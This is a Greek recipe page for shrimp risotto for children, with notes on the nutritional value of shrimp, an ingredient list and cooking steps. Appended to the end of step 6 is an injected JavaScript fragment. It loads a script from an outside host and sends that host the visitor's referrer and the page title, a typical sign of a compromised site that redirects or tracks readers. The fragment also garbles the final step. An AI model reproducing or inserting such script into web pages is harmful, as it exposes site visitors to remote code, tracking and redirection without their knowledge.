mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Ριζότο με γαρίδες

Ριζότο με γαρίδες

dsc_0009Οι γαρίδες είναι ένα θαλασσινό που περιέχει μόνο λίγες θερμίδες. Ωστόσο, είναι πλούσιο σε πρωτεΐνες υψηλής ποιότητας. Η ποσότητα κορεσμένων λιπών που περιέχουν οι γαρίδες, είναι πολύ χαμηλή. Για παράδειγμα, περιέχουν λιγότερα κορεσμένα λίπη από ότι το κοτόπουλο χωρίς πέτσα.

Σε αντίθεση με τα υπόλοιπα θαλασσινά, οι γαρίδες περιέχουν υψηλές συγκεντρώσεις δυο μοναδικών αντιοξειδωτικών συστατικών, της ασταξανθίνης και του σεληνίου. Η ασταξανθίνη έχει προσελκύσει το επιστημονικό ενδιαφέρον, κυρίως λόγω των αντιοξειδωτικών και αντιφλεγμονωδών ιδιοτήτων της. Όσον αφορά στο σελήνιο των γαρίδων, αποτελεί απαραίτητο συνένζυμο για τη λειτουργία της γλουταμινικής υπεροξειδάσης (GPO), ενός από τα κυριότερα αμυντικά συστήματα του οργανισμού, που μας προστατεύει από ανεπιθύμητες βλάβες που μπορούν να επιφέρουν μόρια που περιέχουν οξυγόνο.

Για όλους αυτούς τους λόγους, οι γαρίδες είναι πολύτιμες για τη διατροφή μας και δεν θα έχουμε καμία δικαιολογία για τις παραλείπουμε από τη διατροφή του παιδιού μας. Για να δούμε ποια υλικά θα χρειαστούμε για το ριζότο:

Υλικά
2 φλιτζάνια γαρίδες μικρές καθαρισμένες ή κατεψυγμένες
1 φλιτζάνι ρύζι
2 φλιτζάνια ζωμός από λαχανικά ή απλά νερό
1 πιπεριά Φλωρίνης ψιλοκομμένη
1 κρεμμύδι ξερό ψιλοκομμένο
2 σκελίδες σκόρδο λιωμένες
3 κ.σ. ελαιόλαδο
1/2 ποτήρι λευκό κρασί
1 μεγάλη ντομάτα ψιλοκομμένη
αλάτι
πιπέρι
πάπρικα γλυκιά
1/2 φλιτζάνι μαϊντανός ψιλοκομμένος

Εκτέλεση
1. Σε μια μικρή κατσαρόλα ζεσταίνουμε το ελαιόλαδο και σωτάρουμε το κρεμμύδι, τη πιπεριά και το σκόρδο.
2. Ανακατεύουμε για λίγα λεπτά και στη συνέχεια προσθέτουμε το ρύζι.
3. Ανακατεύουμε για λίγα ακόμα λεπτά και σβήνουμε με το κρασί.
4. Προσθέτουμε τον μισό ζωμό και τη ντομάτα, το αλάτι, το πιπέρι και την πάπρικα και αφήνουμε να βράσει.
5. Όταν το ρύζι έχει τραβήξει τα περισσότερα υγρά, προσθέτουμε τις γαρίδες και τον υπόλοιπο ζωμό. Ανακατεύουμε μέχρι να ψηθεί το ρύζι.
6. Αποσύρουμε από τη φωτιά, ρίχνουμε επίσης το μαϊντανό και ανακατεύουμε.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This
3 Σχόλια
  1. […] post Ριζότο με γαρίδε&sigmaf… appeared first on Arkoudos, Συνταγές … […]

  2. […] Ριζότο με γαρίδε&sigmaf… […]